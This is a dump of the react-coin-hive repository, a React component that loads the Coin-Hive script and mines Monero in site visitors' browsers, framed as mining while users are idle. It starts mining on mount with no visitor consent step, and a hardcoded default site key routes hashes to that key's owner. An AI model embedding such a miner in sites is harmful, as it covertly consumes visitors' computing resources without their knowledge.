Repository: cazala/react-coin-hive Branch: master Commit: a2670938be39 Files: 12 Total size: 9.3 KB Directory structure: gitextract_0o7dvzhl/ ├── .gitignore ├── .nvmrc ├── .travis.yml ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── demo/ │ └── src/ │ └── index.js ├── nwb.config.js ├── package.json ├── src/ │ └── index.js └── tests/ ├── .eslintrc └── index-test.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /coverage /demo/dist /es /lib /node_modules /umd npm-debug.log* ================================================ FILE: .nvmrc ================================================ 8.5 ================================================ FILE: .travis.yml ================================================ sudo: false language: node_js node_js: - 6 before_install: - npm install codecov.io coveralls after_success: - cat ./coverage/lcov.info | ./node_modules/codecov.io/bin/codecov.io.js - cat ./coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js branches: only: - master ================================================ FILE: CONTRIBUTING.md ================================================ ## Prerequisites [Node.js](http://nodejs.org/) >= v4 must be installed. ## Installation - Running `npm install` in the components's root directory will install everything you need for development. ## Demo Development Server - `npm start` will run a development server with the component's demo app at [http://localhost:3000](http://localhost:3000) with hot module reloading. ## Running Tests - `npm test` will run the tests once. - `npm run test:coverage` will run the tests and produce a coverage report in `coverage/`. - `npm run test:watch` will run the tests on every change. ## Building - `npm run build` will build the component for publishing to npm and also bundle the demo app. - `npm run clean` will delete built resources. ================================================ FILE: LICENSE ================================================ The MIT License (MIT) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # React Coin-Hive Mine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e). This uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/). ## Installation ``` npm install --save react-coin-hive ``` ## Usage ```jsx // Anywhere in your app as long as it gets mounted ``` ## Props - `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites). - `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`. - `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`. - `threads`: The number of threads the miner should start with. Default is `2`. - `throttle`: The fraction of time that threads should be idle. Default is `0`. - `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created. - `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started. - `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped. ## Disclaimer I have nothing to do with `coin-hive.com` ================================================ FILE: demo/src/index.js ================================================ import React, { Component } from 'react' import { render } from 'react-dom' import CoinHive from '../../src' class Demo extends Component { state = { autoThreads: true, } _handleEnableAutoThreads = () => { this.setState({ autoThreads: true }) } _handleDisableAutoThreads = () => { this.setState({ autoThreads: false }) } render() { return

react-coin-hive Demo

autoThreads : 
setInterval(() => CoinHive.displayMiner(miner), 1000)} onStart={() => console.log('started')} onStop={() => console.log('stopped')} siteKey='NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx' startOnIdle timeout={1000} />
} } render(, document.querySelector('#demo')) ================================================ FILE: nwb.config.js ================================================ module.exports = { type: 'react-component', npm: { esModules: true, umd: false } } ================================================ FILE: package.json ================================================ { "name": "react-coin-hive", "version": "1.1.1", "description": "Mine cryptocurrency while your users haven’t engaged with your content lately", "main": "lib/index.js", "module": "es/index.js", "files": [ "css", "es", "lib", "umd" ], "scripts": { "build": "nwb build-react-component", "clean": "nwb clean-module && nwb clean-demo", "start": "nwb serve-react-demo", "test": "nwb test-react", "test:coverage": "nwb test-react --coverage", "test:watch": "nwb test-react --server" }, "dependencies": { "load-script": "^1.0.0", "react-idle": "^2.0.0" }, "peerDependencies": { "react": "15.x" }, "devDependencies": { "nwb": "0.18.x", "react": "^15.6.1", "react-dom": "^15.6.1" }, "author": "", "homepage": "", "license": "MIT", "repository": { "type": "git", "url": "git+https://github.com/cazala/react-coin-hive.git" }, "keywords": [ "react-component" ] } ================================================ FILE: src/index.js ================================================ import React, { Component } from 'react' import Idle from 'react-idle'; import loadScript from 'load-script'; import PropTypes from 'prop-types'; class CoinHiveClient extends Component { static defaultProps = { autoThreads: false, timeout: 30000, threads: 2, throttle: 0, siteKey: 'NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx', startOnIdle: false, onInit: (miner) => { }, onStart: (miner) => { }, onStop: (miner) => { } } constructor(props) { super(props); this.miner = null; this.idle = false; } start() { if (this.miner) { this.miner.start(); this.props.onStart(this.miner); } } stop() { if (this.miner) { this.miner.stop(); this.props.onStop(this.miner); } } buildMiner = async () => { if (this.miner && this.miner.isRunning()) { this.stop(); } this.miner = await new Promise(resolve => { loadScript('https://coinhive.com/lib/coinhive.min.js', () => { if (this.props.userName) { return resolve(CoinHive.User(this.props.siteKey, this.props.userName)); } return resolve(CoinHive.Anonymous(this.props.siteKey)); }) }) this.handleProps(this.props); } async componentWillMount() { await this.buildMiner(); this.props.onInit(this.miner); if (!this.idle) { this.start(); } } async componentWillReceiveProps(nextProps) { this.handleProps(nextProps); this.stop(); await this.buildMiner(); if (!this.idle) { this.start(); } return; } handleProps({ throttle, threads, autoThreads }) { if (this.miner != null) { this.miner.setThrottle(throttle); if (autoThreads) { this.miner.setAutoThreadsEnabled(autoThreads); } else { this.miner.setNumThreads(threads); } } } handleIdleChange = ({ idle }) => { if (this.miner != null) { if (idle) { this.start(); } else { this.stop(); } } else { } this.idle = idle; } render() { if (!this.props.startOnIdle) { return null; } return } } CoinHiveClient.PropTypes = { siteKey: PropTypes.string.isRequired, timeout: PropTypes.number, onInit: PropTypes.func, onStart: PropTypes.func, onStop: PropTypes.func, userName: PropTypes.string, autoThreads: PropTypes.bool, startOnIdle: PropTypes.bool, }; CoinHiveClient.displayMiner = miner => { if (!miner || typeof miner !== 'object' || typeof miner.isRunning !== 'function') { console.log('miner is not defined') return; } const data = { isRunning: miner.isRunning(), getHashesPerSecond: miner.getHashesPerSecond(), getNumThreads: miner.getNumThreads(), getAutoThreadsEnabled: miner.getAutoThreadsEnabled(), hasWASMSupport: miner.hasWASMSupport(), getThrottle: miner.getThrottle(), getToken: miner.getToken(), getTotalHashes: miner.getTotalHashes(), getAcceptedHashes: miner.getAcceptedHashes(), }; console.log(data) } export default CoinHiveClient; ================================================ FILE: tests/.eslintrc ================================================ { "env": { "mocha": true } } ================================================ FILE: tests/index-test.js ================================================ import expect from 'expect' import React from 'react' import {render, unmountComponentAtNode} from 'react-dom' import Component from 'src/' describe('Component', () => { let node beforeEach(() => { node = document.createElement('div') }) afterEach(() => { unmountComponentAtNode(node) }) it('displays a welcome message', () => { render(, node, () => { expect(node.innerHTML).toContain('Welcome to React components') }) }) })